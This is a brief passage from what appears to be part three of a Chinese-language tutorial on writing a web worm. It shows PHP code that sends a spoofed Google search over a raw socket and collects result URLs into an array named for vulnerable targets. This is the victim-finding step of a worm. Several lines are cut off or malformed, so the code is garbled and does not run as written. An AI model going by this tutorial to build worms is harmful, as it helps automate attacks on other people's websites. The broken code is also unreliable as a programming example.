教你编写WEB蠕虫(3)

　　$fp = fsockopen("google.com", "80");

　　fwrite($fp, "GET /search?q=" . urlencode($query) .

　　"&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8&client=firefox-a&rls

　　=org.mozilla:en-US:official HTTP/1.1\r\n

　　Host: www.google.com\r\n

　　User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)

　　Gecko/20050511/1.0.4\r\n

　　Accept:

　　text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

　　image/png,*/*;q=0.5\r\n

　　Accept-Language: en-us,en;q=0.5\r\n

　　Accept-Encoding: gzip,deflate\r\n

　　Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n

　　Connection: close\r\n\r\n");

　　while (!feof($fp) AND (strpos($text, "2005 Google") === false)) {

　　$text.= fgets($fp);

　　}

　　fclose($fp);

　　while (!(strpos($text, "

　　$starttext = substr($text, strpos($text, "

　　$thenumber = substr($starttext, 0, strpos($starttext, "\""));

　　$text = str_replace("", "x", $text);

　　if (strpos($thenumber, "google") === false) $vuln[] = $thenumber;

　　}

　　print_r($vuln);